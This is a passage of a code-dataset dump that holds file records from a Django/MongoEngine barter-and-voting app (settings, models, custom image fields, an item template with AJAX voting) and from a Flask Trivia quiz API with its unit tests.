'django.contrib.auth.middleware.AuthenticationMiddleware',\n 'django.contrib.messages.middleware.MessageMiddleware',\n # Uncomment the next line for simple clickjacking protection:\n # 'django.middleware.clickjacking.XFrameOptionsMiddleware',\n)\n\nROOT_URLCONF = 'troca_proj.urls'\n\n# Python dotted path to the WSGI application used by Django's runserver.\nWSGI_APPLICATION = 'troca_proj.wsgi.application'\n\nTEMPLATE_DIRS = (\n # Put strings here, like \"/home/html/django_templates\" or \"C:/www/django/templates\".\n # Always use forward slashes, even on Windows.\n # Don't forget to use absolute paths, not relative paths.\n\n TEMPLATES_PATH\n)\n\n\nINSTALLED_APPS = [\n 'django.contrib.auth',\n 'django.contrib.contenttypes',\n 'django.contrib.sessions',\n 'django.contrib.sites',\n 'django.contrib.messages',\n 'django.contrib.staticfiles',\n 'gunicorn',\n 'troca_app',\n 'userena',\n 'guardian',\n 'easy_thumbnails',\n 'django_facebook',\n 'django.contrib.admin',\n 'mongonaut',\n 'storages',\n 's3_folder_storage',\n]\n\n# The next 2 lists are stuff added from django_facebook\n\n#AUTH_PROFILE_MODULE = 'django_facebook.FacebookProfile'\n# NOTE: THIS PROFILE MODEL IS ACTUALLY IN MY OWN APP, I JUST NAMED IT\n# LIKE THIS SO IT'D BE GROUPED WITH THE OTHER PROFILE STUFF!!!\n#AUTH_PROFILE_MODULE = 'django_facebook.TrocaUserProfile'\n\nAUTHENTICATION_BACKENDS = (\n 'userena.backends.UserenaAuthenticationBackend',\n 'guardian.backends.ObjectPermissionBackend',\n #'django_facebook.auth_backends.FacebookBackend',\n 'django.contrib.auth.backends.ModelBackend',\n)\n\nTEMPLATE_CONTEXT_PROCESSORS = (\n 'django_facebook.context_processors.facebook',\n 'django.contrib.auth.context_processors.auth',\n 'django.core.context_processors.debug',\n 'django.core.context_processors.i18n',\n 'django.core.context_processors.media',\n 'django.core.context_processors.static',\n 'django.core.context_processors.tz',\n 'django.contrib.messages.context_processors.messages',\n)\n\n# A sample logging configuration. The only tangible logging\n# performed by this configuration is to send an email to\n# the site admins on every HTTP 500 error when DEBUG=False.\n# See http://docs.djangoproject.com/en/dev/topics/logging for\n# more details on how to customize your logging configuration.\nLOGGING = {\n 'version': 1,\n 'disable_existing_loggers': False,\n \n 'formatters': {\n 'simple': {\n 'format': '%(levelname)s %(message)s'\n },\n },\n\n 'handlers': {\n 'console': {\n 'level': 'DEBUG',\n 'class': 'logging.StreamHandler',\n 'formatter': 'simple' \n }\n },\n \n 'loggers': {\n 'troca': {\n 'handlers': ['console'],\n 'level': 'DEBUG'\n }\n }\n}\n\nMONGONAUT_JQUERY = \"http://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js\"\nMONGONAUT_TWITTER_BOOTSTRAP = STATIC_URL + \"bootstrap/css/bootstrap.css\"\nMONGONAUT_TWITTER_BOOTSTRAP_ALERT = STATIC_URL + \"bootstrap/js/bootstrap.min.js\"\n\n\n" }, { "alpha_fraction": 0.7555555701255798, "alphanum_fraction": 0.7555555701255798, "avg_line_length": 24.571428298950195, "blob_id": "c74f92658666f3dbb7433a0ca0827d5d13339186", "content_id": "c01b3c6652b36a62855741fc6910193d91f07534", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 360, "license_type": "no_license", "max_line_length": 53, "num_lines": 14, "path": "/troca_app/mongoadmin.py", "repo_name": "feliperyan/troca_proj", "src_encoding": "UTF-8", "text": "# Import the MongoAdmin base class\n\nfrom mongonaut.sites import MongoAdmin\n \n# Import your custom models\nfrom troca_app.models import GenericItem, Offer, Vote\n \n \nclass GenericItemMongoAdmin(MongoAdmin):\n search_fields = ('title',)\n list_fields = ('title',)\n\n# Then attach the mongoadmin to your model \nGenericItem.mongoadmin = GenericItemMongoAdmin()\n\n\n" }, { "alpha_fraction": 0.5216589570045471, "alphanum_fraction": 0.5299538969993591, "avg_line_length": 22.579710006713867, "blob_id": "f3cc00b9f7d0146b03f7b80a0dca3e0679e2dcf8", "content_id": "232b3df87bd2c9a98edeb3de31fe550fea1d4389", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "HTML", "length_bytes": 3255, "license_type": "no_license", "max_line_length": 90, "num_lines": 138, "path": "/troca_proj/templates/item_detail_adaptive.html", "repo_name": "feliperyan/troca_proj", "src_encoding": "UTF-8", "text": "{% extends \"base.html\" %}\n\n{%block page_specific_script%}\n\n<script>\n\t\n\tfunction getCookie(name) {\n\t var cookieValue = null;\n\t if (document.cookie && document.cookie != '') {\n\t var cookies = document.cookie.split(';');\n\t for (var i = 0; i < cookies.length; i++) {\n\t var cookie = jQuery.trim(cookies[i]);\n\t // Does this cookie string begin with the name we want?\n\t if (cookie.substring(0, name.length + 1) == (name + '=')) {\n\t cookieValue = decodeURIComponent(cookie.substring(name.length + 1));\n\t break;\n\t }\n\t }\n\t }\n \treturn cookieValue;\n\t}\n\tvar csrftoken = getCookie('csrftoken');\n\n\tfunction csrfSafeMethod(method) {\n \t// these HTTP methods do not require CSRF protection\n \treturn (/^(GET|HEAD|OPTIONS|TRACE)$/.test(method));\n\t}\n\n\t$.ajaxSetup({\n \tcrossDomain: false, // obviates need for sameOrigin test\n \tbeforeSend: function(xhr, settings) {\n \tif (!csrfSafeMethod(settings.type)) {\n \txhr.setRequestHeader(\"X-CSRFToken\", csrftoken);\n \t}\n \t}\n\t});\n\n\tfunction updateVotes(data){\n\t\tif (data.answer == 'ok') {\n\t\t\t$(\"#votes_count\").text('');\n\t\t\t$(\"#votes_count\").text('Votes: ' + data.total);\n\t\t\t$(\"#vote_message\").text('Thanks for voting!');\n\t\t}\n\t\telse {\n\t\t\t$(\"#vote_message\").text('You already voted!');\n\t\t}\n\t\t$(\"#vote_message\").css('visibility','visible');\t\n\t}\n\n\t$(document).ready(function() {\n\t\t\n\t\t$(\"#votedown\").on({ click:function() {\n\t\t\tconsole.log(\"/vote/{{item.id}}/down\");\n\t\t\tvar voted = $.post(\n\t\t\t\t\"/vote/{{item.id}}/down\",new Date(),\n\t\t\t\tfunction(data){\n\t\t\t\t\tconsole.log(data);\n\t\t\t\t\tupdateVotes(data);\n\t\t\t\t},\n\t\t\t\t\"json\");\n\t\t\t}\n\t\t});\n\t\t$(\"#voteup\").on({ click:function() {\n\t\t\tconsole.log(\"/vote/{{item.id}}/up\");\n\t\t\tvar voted = $.post(\n\t\t\t\t\"/vote/{{item.id}}/up\",new Date(),\n\t\t\t\tfunction(data){\n\t\t\t\t\tconsole.log(data); \n\t\t\t\t\tupdateVotes(data);\n\t\t\t\t},\n\t\t\t\t\"json\");\n\t\t\t}\n\t\t});\n\n\t});\n\n</script>\n\n{% endblock %}\n\n{% block content %}\n\n<div class=\"row\">\n\t<div class=\"span4\">\n\t\t{% if item.img %}\n\t\t\t<img src=\"{{MEDIA_URL}}{{item.img}}\" width=\"400\" height=\"400\" />\n\t\t{% endif %}\n\t\t\n\t\t{% if user.is_authenticated %}\n\t\t\t<p id=\"votes_count\"> Votes: \n\t\t\t\t{% if item.votes %} \n\t\t\t\t\t{{ item.v_count }}\n\t\t\t\t{% else %} \n\t\t\t\t\t0 \n\t\t\t\t{% endif %}\n\t\t\t</p>\n\t\t\t<p> \n\t\t\t\t<a id=\"voteup\" href=\"#\"> <span style=\"color:green\">Vote UP</span> </a> \n\t\t\t\t<a id=\"votedown\" href=\"#\"><span style=\"color:#FF3333\">Vote Down</span> </a>\n\t\t\t\t<div id=\"vote_message\" class=\"label label-info\" style=\"visibility:hidden\">&nbsp;</div>\n\t\t\t</p>\n\t\t{%endif%}\t\t\n\t</div>\n\n\t<div class=\"span4\">\n\t\t\n\t\t{% for i in item.get_name_vals %}\n\t\t\t<p> {{ i.0 }} {{ i.1 }} </p>\n\t\t{% endfor %}\n\t\n\t\t{% for o in item.offers %}\n\t\t\t<div id=\"offers\"> \n\t\t\t\t<p> Offer: {{ o.title }} </p>\n\t\t\t\t<p> Author: {{ o.author }} </p>\t\t\t\n\t\t\t</div>\n\t\t{% endfor %}\t\t\n\t</div>\n\n</div>\n\n\t<h2> \n\t\t{% if item.available == 'available' %}\n\t\t\t<a href=\"{% url \"make_offer\" item.id %}\" > Make offer </a> \n\t\t{% else %}\n\t\t\tItem unavailable!\n\t\t{% endif %}\n\t</h2>\n\t\n\t<ul>\n\t\t{% for i in item.fields_for_detail_template %}\n\t\t\t<li> {{ i }} </li>\n\t\t{% endfor %}\n\t\n\t</ul>\n\t<h3> {{ item.fields_for_detail_template.0 }} </h3>\n\t<h3> {{ item.fields_for_detail_template.1 }} </h3>\n\n{% endblock %}\n\n" }, { "alpha_fraction": 0.5999602675437927, "alphanum_fraction": 0.6005558967590332, "avg_line_length": 31.986841201782227, "blob_id": "db8b18087f8d9fe37eef8fbe23c6780551bd1795", "content_id": "3d73ae37a616106abf1f44da1ca0e53bf4a0834d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5037, "license_type": "no_license", "max_line_length": 93, "num_lines": 152, "path": "/troca_app/custom_fields.py", "repo_name": "feliperyan/troca_proj", "src_encoding": "UTF-8", "text": "import os\nimport datetime\n\nfrom mongoengine.python_support import str_types\nfrom django.db.models.fields.files import FieldFile, ImageFieldFile\nfrom django.core.files.base import File\nfrom django.core.files.storage import default_storage\nfrom mongoengine.base import BaseField\nfrom mongoengine.connection import get_db, DEFAULT_CONNECTION_NAME\nfrom django.utils.encoding import force_text\n\nimport logging\nlogger = logging.getLogger('troca')\n\n\nclass DJFileField(BaseField):\n \n proxy_class = FieldFile\n\n def __init__(self,\n db_alias=DEFAULT_CONNECTION_NAME, \n name=None,\n upload_to='',\n storage=None,\n **kwargs):\n\n self.db_alias = db_alias\n self.storage = storage or default_storage\n self.upload_to = upload_to\n\n if callable(upload_to):\n self.generate_filename = upload_to\n\n super(DJFileField, self).__init__(**kwargs)\n\n def __get__(self, instance, owner):\n # Lots of information on whats going on here can be found\n # on Django's FieldFile implementation, go over to GitHub to\n # read it.\n file = instance._data.get(self.name)\n\n if isinstance(file, str_types) or file is None:\n attr = self.proxy_class(instance, self, file)\n instance._data[self.name] = attr\n\n elif isinstance(file, File) and not isinstance(file, FieldFile):\n file_copy = self.proxy_class(instance, self, file.name)\n file_copy.file = file\n file_copy._committed = False\n instance._data[self.name] = file_copy\n\n elif isinstance(file, FieldFile) and not hasattr(file, 'field'):\n file.instance = instance\n file.field = self\n file.storage = self.storage\n\n \n return instance._data[self.name]\n\n def __set__(self, instance, value):\n instance._data[self.name] = value\n\n def get_directory_name(self):\n return os.path.normpath(force_text(datetime.datetime.now().strftime(self.upload_to)))\n\n def get_filename(self, filename):\n return os.path.normpath(self.storage.get_valid_name(os.path.basename(filename)))\n\n def generate_filename(self, instance, filename):\n return os.path.join(self.get_directory_name(), self.get_filename(filename))\n\n def to_mongo(self, value):\n # Store the path in MongoDB\n # I also used this bit to actually save the file to disk.\n # The value I'm getting here is a FileFiled and it all looks\n # pretty good at this stage even though I'm not 100% sure\n # of what's going on.\n #logger.info('to_mongo: %s' % value)\n #import ipdb; ipdb.set_trace()\n\n if not isinstance(value, FieldFile):\n return value\n\n if not value._committed and value is not None:\n value.save(value.name, value)\n return value.name\n\n return value.name \n \n def to_python(self, value):\n eu = self\n return eu.proxy_class(eu.owner_document, eu, value)\n\n\nclass LocalImageField(DJFileField):\n proxy_class = ImageFieldFile\n \n def __init__(self,\n db_alias=DEFAULT_CONNECTION_NAME, \n name=None,\n upload_to='',\n storage=None,\n width_field=None,\n height_field=None,\n **kwargs):\n\n self.db_alias = db_alias\n self.storage = storage or default_storage\n self.upload_to = upload_to\n self.width_field = width_field\n self.height_field = height_field\n\n if callable(upload_to):\n self.generate_filename = upload_to\n\n super(DJFileField, self).__init__(**kwargs)\n\n def __set__(self, instance, value):\n previous_file = instance._data.get(self.name)\n super(LocalImageField, self).__set__(instance, value)\n \n if previous_file is not None:\n self.update_dimension_fields(instance, force=True)\n \n def update_dimension_fields(self, instance, force=False, *args, **kwargs):\n has_dimension_fields = self.width_field or self.height_field\n if not has_dimension_fields:\n return\n \n file = getattr(instance, self.attname)\n if not file and not force:\n return\n \n dimension_fields_filled = not(\n (self.width_field and not getattr(instance, self.width_field))\n or (self.height_field and not getattr(instance, self.height_field))\n )\n \n # file should be an instance of ImageFieldFile or should be None.\n if file:\n width = file.width\n height = file.height\n else:\n # No file, so clear dimensions fields.\n width = None\n height = None\n\n # Update the width and height fields.\n if self.width_field:\n setattr(instance, self.width_field, width)\n if self.height_field:\n setattr(instance, self.height_field, height)\n \n \n " }, { "alpha_fraction": 0.6383216381072998, "alphanum_fraction": 0.6456605195999146, "avg_line_length": 30.646465301513672, "blob_id": "87d4805cb59cfbc869024e4aa1e901c72aeaf071", "content_id": "9e9fee1c579ba7e1fea1a4e7a4f9c0e016d4d7d8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6268, "license_type": "no_license", "max_line_length": 115, "num_lines": 198, "path": "/troca_app/models.py", "repo_name": "feliperyan/troca_proj", "src_encoding": "UTF-8", "text": "from mongoengine import *\nfrom django.contrib.auth.models import User\nfrom django.db import models\nfrom django.db.models import datetime\nimport os\nfrom django.contrib.auth.models import User\nfrom django_facebook.models import BaseFacebookProfileModel\nfrom custom_fields import DJFileField, LocalImageField\nfrom userena.models import UserenaBaseProfile\nfrom django.db.models.signals import post_save\n\n\nclass TrocaUserProfile(BaseFacebookProfileModel, UserenaBaseProfile):\n user = models.OneToOneField('auth.User')\n image = models.ImageField(blank=True, null=True, upload_to='profile_pics', max_length=255)\n\n\ndef create_facebook_profile(sender, instance, created, **kwargs):\n if created:\n TrocaUserProfile.objects.create(user=instance)\npost_save.connect(create_facebook_profile, sender=User)\n\n\nclass Category(models.Model):\n categoryTitle = models.CharField(max_length=100, )\n parentCategory = models.ForeignKey('self', null=True, blank=True, related_name='subs')\n\n def __unicode__(self):\n oneUp = self.parentCategory\n printable = self.categoryTitle\n while oneUp: \n printable = oneUp.categoryTitle +' > ' + printable\n oneUp = oneUp.parentCategory\n \n return printable\n\n def howToOrder(self):\n oneUp = self.parentCategory\n printable = self.categoryTitle\n while oneUp: \n printable = oneUp.categoryTitle +' > '+ printable\n oneUp = oneUp.parentCategory\n \n return printable\n\n class Meta:\n verbose_name_plural = \"Categories\"\n #app_label = 'relational'\n\n\nclass Vote(EmbeddedDocument):\n author_id = IntField(required=True)\n direction = IntField(required=True)\n date_voted = DateTimeField(default=datetime.datetime.now)\n\n\nclass GenericItem(Document):\n owner_id = IntField(required=True)\n owner_username = StringField(max_length=70, required=True)\n title = StringField(max_length=70, required=True)\n description = StringField(max_length=140, required=True)\n value = IntField()\n geo_location = PointField(required=False)\n text_location = StringField(max_length=128, required=False)\n date_added = DateTimeField(default=datetime.datetime.now)\n offers = ListField(EmbeddedDocumentField('Offer'))\n img = LocalImageField(upload_to = 'ups')\n available = StringField(max_length=70, default='available')\n votes = ListField(EmbeddedDocumentField('Vote'))\n v_count = IntField(default=0)\n cat = StringField(max_length=140, default='generic')\n w_cat = ListField(StringField(max_length=50))\n \n meta = { 'allow_inheritance': True } \n\n def hasAlreadyVoted(self, user_id):\n for v in self.votes:\n if v.author_id == user_id:\n return True\n return False\n\n #Tally up the votes:\n \n def countVotes(self):\n sum = 0\n for v in self.votes:\n sum += v.direction\n return sum\n\n #Used to check and alert users if they have already made an offer to this item.\n \n def hasAlreadyMadeOffer(self, user_id):\n for o in self.offers:\n if o.author_id == user_id:\n return True\n return False\n\n # Called when this item is no longer available:\n \n def reject_all_offers(reason):\n for o in self.offers:\n if reason:\n o.status = reason\n else:\n o.status = 'rejected'\n\n def get_offer_by_slug(self, slug_title):\n for o in self.offers:\n if slug_title == o.slug:\n return o\n return None\n\n def __unicode__(self):\n return self.title\n \n def fields_for_detail_template(self):\n fs = [ 'title', 'description', 'value' ]\n return fs\n \n def get_name_vals(self):\n fs = self.fields_for_detail_template()\n r = []\n for f in fs:\n name = self._fields[f].verbose_name\n val = self.__getattribute__(f)\n r.append( (name, val) )\n \n return r\n\n\nclass Vehicle(GenericItem):\n model = StringField(max_length=70, required=True)\n\n\nclass Ticket(GenericItem):\n category_slug = 'Tickets and Reservations'\n date = DateTimeField(verbose_name='Date of event', default=datetime.datetime.now)\n location = StringField(verbose_name='Location of event', max_length=200, required=True)\n \n def fields_for_detail_template(self):\n f_wanted = ['date', 'location']\n fs = super(Ticket, self).fields_for_detail_template()\n for i in f_wanted: fs.append( i )\n return fs\n\nclass Skill(GenericItem):\n sk_lvl = (\n ('B', 'Beginner'),\n ('A', 'Average'),\n ('E', 'Expert'),\n )\n category_slug = 'Skills'\n \n skill_name = StringField(verbose_name='Name of the skill', max_length=140, required=True)\n skill_level = StringField(verbose_name='Skill level', max_length=1, required=True, choices=sk_lvl, default='B')\n class_duration = IntField(verbose_name='Duration of class')\n date = DateTimeField(default=datetime.datetime.now)\n\n def fields_for_detail_template(self):\n f_wanted = ['skill_level', 'skill_name', 'class_duration', 'date']\n fs = super(Skill, self).fields_for_detail_template()\n for i in f_wanted: fs.append( i )\n return fs\n \n\nclass ItemInOffer(EmbeddedDocument):\n itemTitle = StringField(max_length=70, required=True)\n value = IntField()\n item = ReferenceField(GenericItem)\n\n def __unicode__(self):\n return self.itemTitle\n \n class Meta:\n app_label = 'troca_app'\n\n\nclass Offer(EmbeddedDocument):\n title = StringField(max_length=70, required=True)\n author_id = IntField(required=False)\n author = StringField(max_length=70, required=False)\n items = ListField(EmbeddedDocumentField('ItemInOffer'), required=True)\n \n # Change to Status = ChoiceField?\n status = StringField(max_length=70, default='pending')\n \n datetime_made = DateTimeField(default=datetime.datetime.now)\n slug = StringField(max_length=70, required=False)\n\n def __unicode__(self):\n return self.title\n\n _meta = {}\n\n\nclass ImageTest(Document):\n title = StringField(max_length=70, required=True)\n foto = DJFileField(upload_to = 'ups')\n\n\n" } ]
10
HusseinYoussef/Trivia-API
https://github.com/HusseinYoussef/Trivia-API
6b054103106fc64dcf9c8f023936aaee34e351f1
e842edd9b535ad598a91fccb2011d5d89c5dafba
25183c59622fc157b2295ebe64829207b18ee917
refs/heads/master
2023-02-22T13:55:48.594488
2021-01-27T12:15:17
2021-01-27T12:15:17
329,660,291
0
1
null
null
null
null
null
[ { "alpha_fraction": 0.4936109781265259, "alphanum_fraction": 0.5009465217590332, "avg_line_length": 30.420074462890625, "blob_id": "2b32585bb62802eb6026105d88bf28cdbcd5687b", "content_id": "ee9fae299be6d2554ba621f49aa35591981721f0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8452, "license_type": "no_license", "max_line_length": 79, "num_lines": 269, "path": "/backend/flaskr/__init__.py", "repo_name": "HusseinYoussef/Trivia-API", "src_encoding": "UTF-8", "text": "import os\nfrom flask import Flask, request, abort, jsonify, Response\nfrom flask_cors import CORS\nimport random\n\nfrom models import Question, Category\nfrom config import setup_db\n\nQUESTIONS_PER_PAGE = 10\n\n# Codes\nOk = 200\nCreated = 201\nBad_request = 400\nNot_found = 404\nMethod_not_allowed = 405\nNot_processable = 422\n\n\ndef create_app(test_config=None):\n # create and configure the app\n app = Flask(__name__)\n setup_db(app)\n\n cors = CORS(app, resources={r\"/v1/*\": {\"origins\": \"*\"}})\n\n @app.after_request\n def after_request(response):\n response.headers.add(\n 'Allow-Control-Allow-Headers',\n 'Content-Type,Authorization,true'\n )\n response.headers.add(\n 'Allow-Control-Allow-Methods',\n 'GET, POST, DELETE, OPTIONS'\n )\n\n return response\n\n @app.route('/v1/categories', methods=['GET'])\n def get_all_categories():\n\n categories = Category.query.all()\n\n if len(categories) == 0:\n abort(Not_found)\n\n # Create dictionary for categories {id -> type}\n data = {cate.id: cate.type for cate in categories}\n return jsonify({\n \"success\": True,\n \"categories\": data\n }), Ok\n\n @app.route('/v1/questions', methods=['GET'])\n def get_all_question():\n\n questions = Question.query.order_by(Question.id).all()\n # get page of questions\n page = request.args.get('page', 1, type=int)\n start = (page-1)*QUESTIONS_PER_PAGE\n\n questions_page = Question.query.order_by(\n Question.id\n ).limit(QUESTIONS_PER_PAGE).offset(start).all()\n\n categories = Category.query.all()\n categories_data = {cate.id: cate.type for cate in categories}\n\n # not found if no question or cateqories\n if len(questions) == 0 or len(categories) == 0\\\n or len(questions_page) == 0:\n abort(Not_found)\n\n return jsonify({\n \"success\": True,\n \"questions\": [q.format() for q in questions_page],\n \"total_questions\": len(questions),\n \"categories\": categories_data\n }), Ok\n\n @app.route('/v1/questions/<int:question_id>', methods=['DELETE'])\n def delete_question(question_id):\n question = Question.query.get(question_id)\n if question is None:\n abort(Not_found)\n\n try:\n question.delete()\n except Exception as e:\n # not processable if can't delete the question\n print(e)\n abort(Not_processable)\n\n return jsonify({\n 'success': True,\n 'deleted_id': question_id\n }), Ok\n\n @app.route('/v1/questions', methods=['POST'])\n def create_question():\n body = request.get_json()\n\n search_term = body.get('searchTerm', None)\n if search_term:\n\n # search for questions that has the search term (case insensitive)\n page = request.args.get('page', 1, type=int)\n start = (page-1)*QUESTIONS_PER_PAGE\n questions = Question.query.filter(\n Question.question.ilike(f'%{search_term}%')\n ).order_by(\n Question.id\n ).limit(\n QUESTIONS_PER_PAGE\n ).offset(start).all()\n # not found if no questions\n if len(questions) == 0:\n abort(Not_found)\n\n return jsonify({\n 'success': True,\n 'questions': [q.format() for q in questions],\n 'total_questions': len(questions)\n }), Ok\n\n else:\n question = body.get('question', None)\n answer = body.get('answer', None)\n difficulty = body.get('difficulty', None)\n category = body.get('category', None)\n\n # bad request if one of the required fields is missing\n if (question is None) or (answer is None) or\\\n (difficulty is None) or (category is None):\n abort(Bad_request)\n\n new_question = Question(\n question=question,\n answer=answer,\n difficulty=difficulty,\n category=category\n )\n\n try:\n new_question.insert()\n except Exception as e:\n # not processable if can't insert the question\n print(e)\n abort(Not_processable)\n\n questions = Question.query.all()\n\n return jsonify({\n 'success': True,\n 'created_id': new_question.id,\n 'total_questions': len(questions)\n }), Created\n\n @app.route('/v1/categories/<int:category_id>/questions', methods=['GET'])\n def get_category_questions(category_id):\n\n category = Category.query.get(category_id)\n\n if category is None:\n abort(Not_found)\n\n page = request.args.get('page', 1, type=int)\n start = (page-1)*QUESTIONS_PER_PAGE\n\n # get all question of that category\n questions = Question.query.filter(\n Question.category == category_id\n ).order_by(\n Question.id\n ).limit(\n QUESTIONS_PER_PAGE\n ).offset(start).all()\n\n if len(questions) == 0:\n abort(Not_found)\n\n return jsonify({\n 'success': True,\n 'questions': [q.format() for q in questions],\n 'total_questions': len(questions),\n 'current_category': category.type\n }), Ok\n\n @app.route('/v1/quizzes', methods=['POST'])\n def play_quiz():\n body = request.get_json()\n\n # get the required parameters\n previous_questions = body.get('previous_questions', None)\n category = body.get('quiz_category', None)\n\n # Bad request if one of the required parameter is none\n if (previous_questions is None) or (category is None):\n abort(Bad_request)\n\n # get all question if id is 0\n if category['id'] == 0:\n questions = Question.query.all()\n # get all question of quiz category\n else:\n questions = Question.query.filter(\n Question.category == category['id']\n ).all()\n\n if len(questions) == 0:\n abort(Not_found)\n\n if len(previous_questions) >= len(questions):\n return jsonify({\n 'success': True,\n 'message': \"No more questions\"\n }), Ok\n\n import numpy as np\n # make number of trials to avoid infinite loop\n trials = 0\n while trials <= 100:\n chosen_question = np.random.choice(questions, replace=True)\n if not(chosen_question.id in previous_questions):\n break\n trials += 1\n\n if trials > 100:\n abort(Not_found)\n\n return jsonify({\n 'success': True,\n 'question': chosen_question.format()\n })\n\n @app.errorhandler(400)\n def bad_request(error):\n return jsonify({\n 'success': False,\n 'error_code': Bad_request,\n 'message': \"Bad Request\"\n }), Bad_request\n\n @app.errorhandler(404)\n def not_found(error):\n return jsonify({\n \"success\": False,\n \"message\": \"Not Found\",\n \"error_code\": Not_found\n }), Not_found\n\n @app.errorhandler(405)\n def method_not_allowed(error):\n return jsonify({\n \"success\": False,\n \"message\": \"Method not Allowed\",\n \"error_code\": Method_not_allowed\n }), Method_not_allowed\n\n @app.errorhandler(422)\n def not_processable(error):\n return jsonify({\n 'success': False,\n 'error_code': Not_processable,\n 'message': \"Cannot be processed\"\n }), Not_processable\n\n return app\n" }, { "alpha_fraction": 0.5498387217521667, "alphanum_fraction": 0.564275860786438, "avg_line_length": 34.005374908447266, "blob_id": "cd3125713b0efd82ea2ee08cb63d33acef4f4384", "content_id": "ee3992439406f7f624e4139418a12679e05bf357", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6511, "license_type": "no_license", "max_line_length": 77, "num_lines": 186, "path": "/backend/test_flaskr.py", "repo_name": "HusseinYoussef/Trivia-API", "src_encoding": "UTF-8", "text": "import os\nimport unittest\nimport json\nfrom flask_sqlalchemy import SQLAlchemy\n\nfrom flaskr import create_app\nfrom models import Question, Category\nfrom config import setup_db\n\n\nclass CategoryTestCase(unittest.TestCase):\n \"\"\"This class represents the trivia test case\"\"\"\n\n def setUp(self):\n \"\"\"Define test variables and initialize app.\"\"\"\n self.app = create_app()\n setup_db(self.app, env='test')\n self.client = self.app.test_client\n\n # binds the app to the current context\n with self.app.app_context():\n self.db = SQLAlchemy()\n self.db.init_app(self.app)\n # create all tables\n self.db.create_all()\n\n def tearDown(self):\n \"\"\"Executed after reach test\"\"\"\n pass\n\n def test_success_get_categories(self):\n res = self.client().get('/v1/categories')\n data = json.loads(res.data)\n\n self.assertEqual(res.status_code, 200)\n self.assertTrue(len(data['categories']))\n\n\nclass QuestionTestCase(unittest.TestCase):\n \"\"\"This class represents the trivia test case\"\"\"\n\n def setUp(self):\n \"\"\"Define test variables and initialize app.\"\"\"\n self.app = create_app()\n setup_db(self.app, env='test')\n self.client = self.app.test_client\n\n # binds the app to the current context\n with self.app.app_context():\n self.db = SQLAlchemy()\n self.db.init_app(self.app)\n # create all tables\n self.db.create_all()\n\n def tearDown(self):\n \"\"\"Executed after reach test\"\"\"\n pass\n\n def test_success_get_questions(self):\n res = self.client().get('/v1/questions')\n data = json.loads(res.data)\n\n self.assertEqual(res.status_code, 200)\n self.assertEqual(data['success'], True)\n self.assertTrue(len(data['questions']))\n self.assertTrue(data['total_questions'])\n self.assertTrue(len(data['categories']))\n\n def test_404_get_questions_pagination_if_no_page(self):\n res = self.client().get('/v1/questions?page=100')\n data = json.loads(res.data)\n\n self.assertEqual(res.status_code, 404)\n self.assertEqual(data['success'], False)\n self.assertEqual(data['message'], 'Not Found')\n\n def test_success_delete_question(self):\n res = self.client().delete('/v1/questions/9')\n data = json.loads(res.data)\n\n ques = Question.query.get(9)\n\n self.assertEqual(res.status_code, 200)\n self.assertEqual(data['success'], True)\n self.assertEqual(ques, None)\n self.assertEqual(data['deleted_id'], 9)\n\n def test_404_delete_question_if_no_question(self):\n res = self.client().delete('/v1/questions/100')\n data = json.loads(res.data)\n\n self.assertEqual(res.status_code, 404)\n self.assertEqual(data['success'], False)\n self.assertEqual(data['message'], \"Not Found\")\n\n def test_success_add_question(self):\n res = self.client().post('/v1/questions', json={\n 'question': 'Is Flask hard to learn?',\n 'answer': 'Not at all',\n 'difficulty': 1,\n 'category': 1\n })\n data = json.loads(res.data)\n\n self.assertEqual(res.status_code, 201)\n self.assertEqual(data['success'], True)\n self.assertTrue(data['total_questions'])\n\n def test_400_add_question_if_miss_parameters(self):\n res = self.client().post('/v1/questions', json={\n 'question': 'What is your name?',\n 'difficulty': 1,\n 'category': 2\n })\n data = json.loads(res.data)\n\n self.assertEqual(res.status_code, 400)\n self.assertEqual(data['success'], False)\n self.assertEqual(data['message'], \"Bad Request\")\n\n def test_search_question_with_results(self):\n res = self.client().post('/v1/questions', json={\n 'searchTerm': 'title'\n })\n data = json.loads(res.data)\n\n self.assertEqual(res.status_code, 200)\n self.assertEqual(data['success'], True)\n self.assertTrue(data['total_questions'])\n\n def test_404_question_without_results(self):\n res = self.client().post('/v1/questions', json={\n 'searchTerm': 'Dinosaurs'\n })\n data = json.loads(res.data)\n\n self.assertEqual(res.status_code, 404)\n self.assertEqual(data['success'], False)\n self.assertEqual(data['message'], \"Not Found\")\n\n def test_success_get_category_questions(self):\n res = self.client().get('/v1/categories/1/questions')\n data = json.loads(res.data)\n\n category = Category.query.get(1)\n\n self.assertEqual(res.status_code, 200)\n self.assertEqual(data['success'], True)\n self.assertTrue(data['total_questions'])\n self.assertEqual(data['current_category'], category.type)\n\n def test_404_get_category_questions_if_no_category(self):\n res = self.client().get('/v1/categories/50/questions')\n data = json.loads(res.data)\n\n self.assertEqual(res.status_code, 404)\n self.assertEqual(data['success'], False)\n self.assertEqual(data['message'], \"Not Found\")\n\n def test_success_quiz(self):\n ids = [16, 17]\n res = self.client().post('/v1/quizzes', json={\n 'previous_questions': ids,\n 'quiz_category': {'id': 2, 'type': 'Art'}\n })\n data = json.loads(res.data)\n\n self.assertEqual(res.status_code, 200)\n self.assertEqual(data['success'], True)\n self.assertTrue(data['question'])\n self.assertEqual(data['question']['category'], 2)\n self.assertTrue(data['question']['id'] not in ids)\n\n def test_400_quiz_if_miss_parameters(self):\n res = self.client().post('/v1/quizzes', json={\n 'quiz_category': {'id': 1, 'type': 'Science'}\n })\n data = json.loads(res.data)\n\n self.assertEqual(res.status_code, 400)\n self.assertEqual(data['success'], False)\n self.assertEqual(data['message'], 'Bad Request')\n\n# Make the tests conveniently executable\nif __name__ == \"__main__\":\n unittest.main()\n" }, { "alpha_fraction": 0.44376635551452637, "alphanum_fraction": 0.45248475670814514, "avg_line_length": 30, "blob_id": "2d05a3f24bf03bb00bd0e631150e457096d7fe50", "content_id": "6cdb1b3dbf419502603c3b29590a30f3a7d463a0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1147, "license_type": "no_license", "max_line_length": 74, "num_lines": 37, "path": "/backend/config.py", 